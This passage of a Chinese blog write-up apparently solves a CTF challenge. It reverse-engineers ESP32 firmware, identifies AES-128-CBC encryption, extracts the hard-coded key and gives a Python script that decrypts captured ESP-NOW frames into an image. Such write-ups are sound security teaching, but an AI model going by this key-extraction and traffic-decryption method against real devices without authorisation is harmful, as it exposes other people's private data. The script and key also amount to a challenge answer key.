esp_log((esp_log_config_t)0x3,&DAT_3c09528c,&DAT_3c095428);
}
else {
esp_log_timestamp();
esp_err_to_name(iVar3);
esp_log((esp_log_config_t)0x1,&DAT_3c09528c,&DAT_3c095454);
}
iVar4 = iVar4 + 1;
vTaskDelay(10);
} while( true );
}

这是一个通过ESP-NOW发送加密文件的应用,也就可以知道,我们需要解密capture.raw文件

这里定义了数据包结构:

image-20260210133653602

分析aes_encrypt:

image-20260210133924040

可以得出这是AES-128-CBC加密

结合sender_task函数的fread来看,每次读取长度为0xc0(192=16x12),长度不够时PKCS#7 填充

image-20260210134225532

现在还差aes的key,但是ghrida中无法看到key的值:

image-20260210134343018

需要使用ida再次分析,拿到key

image-20260210134833115

结合espnow的数据帧格式

image-20260210134927302

选取其中一段数据进行解析:

image-20260210135037861

写出解密脚本,恢复图像:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import struct
AES_KEY = b"uV9vG6mZ7mS8eC8b"
MAGIC = b"\xC7\xF0\x0D\x1E"
STATIC_HEADER = b"\xD0\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF"
INPUT_FILE = "capture.raw"
OUTPUT_FILE = "decrypted.png"
with open(INPUT_FILE, 'rb') as f:
raw_data = f.read()
frames = []
offset = 0
while True:
idx = raw_data.find(STATIC_HEADER, offset)
if idx == -1:
break
next_idx = raw_data.find(STATIC_HEADER, idx + 10)
if next_idx == -1:
next_idx = len(raw_data)
frames.append(raw_data[idx:next_idx])
offset = next_idx
chunks_dict = {}
total_chunks = 0
for frame in frames:
magic_idx = frame.find(MAGIC)
if magic_idx == -1:
continue
if magic_idx + 28 > len(frame):
continue
seq, total = struct.unpack('<II', frame[magic_idx+4:magic_idx+12])
iv = frame[magic_idx+12:magic_idx+28]
total_chunks = total
if len(frame) < magic_idx + 28 + 4:
continue
encrypted = frame[magic_idx+28:-4]
if len(encrypted) % 16 != 0:
continue
cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(encrypted)
chunks_dict[seq] = decrypted
chunks = sorted(chunks_dict.items())
with open(OUTPUT_FILE, 'wb') as f:
for seq, data in chunks:
if seq == total_chunks - 1:
try:
data = unpad(data, 16)
except:
pass
f.write(data)

image-20260210135257958

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

2026复现文档
http://czxh.top/posts/2026复现文档/
作者
Mitunlny
发布于
2025-03-13
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录